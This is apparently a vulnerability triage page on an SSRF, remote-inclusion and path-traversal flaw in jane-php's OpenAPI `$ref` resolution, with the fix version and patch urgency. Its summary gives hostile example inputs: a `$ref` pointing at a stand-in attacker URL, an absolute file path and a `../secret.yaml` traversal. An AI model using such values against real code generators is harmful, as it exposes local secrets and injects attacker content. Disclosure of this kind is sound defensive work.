High · fetched 2026-11-19
### Summary jane-php resolves external `$ref` targets at code-generation time via `file_get_contents($ref)` (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: `$ref: 'http://attacker/x'` -> SSRF (HTTP GET at gen time; response inlined = RFI); `$ref: '/abs/file'` -> LFI; `$ref: '../secret.yaml'` -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + `../` local content inlined into the generated code). `file://` rejected.
This advisory is PHP-relevant but does not enumerate interpreter branches: it concerns a PHP application or component — the product named in the summary above. The affected versions and the fixed release to move to are stated in the remediation and the source advisory.
Not KEV-listed in this record. In the source data for this record (retrieved 2026-11-19), the vulnerability was not listed in the CISA Known Exploited Vulnerabilities catalog. Read that narrowly: it means no catalogued exploitation at retrieval time, not that exploitation is impossible or unreported elsewhere.
Patch within days — this week, not this quarter. The drivers for this record: the source rates it High; it affects a PHP application component rather than the interpreter. If the affected system is internet-facing, treat it as immediate; the 24–72 hour handling above applies.
How this verdict is derived: from the fields on this page — the source advisory's severity and CVSS score, CISA KEV listing status and the affected-branch data — as retrieved 2026-11-19. It is a triage aid, not a substitute for the source advisory.
Upgrade jane-php/open-api-3 to 7.12.0 or later.
See the source advisory.
Source: GitHub Global Security Advisories (Composer ecosystem) · retrieved 2026-11-19T19:20:31-05:00 · https://github.com/advisories/GHSA-c3cj-3p6p-j822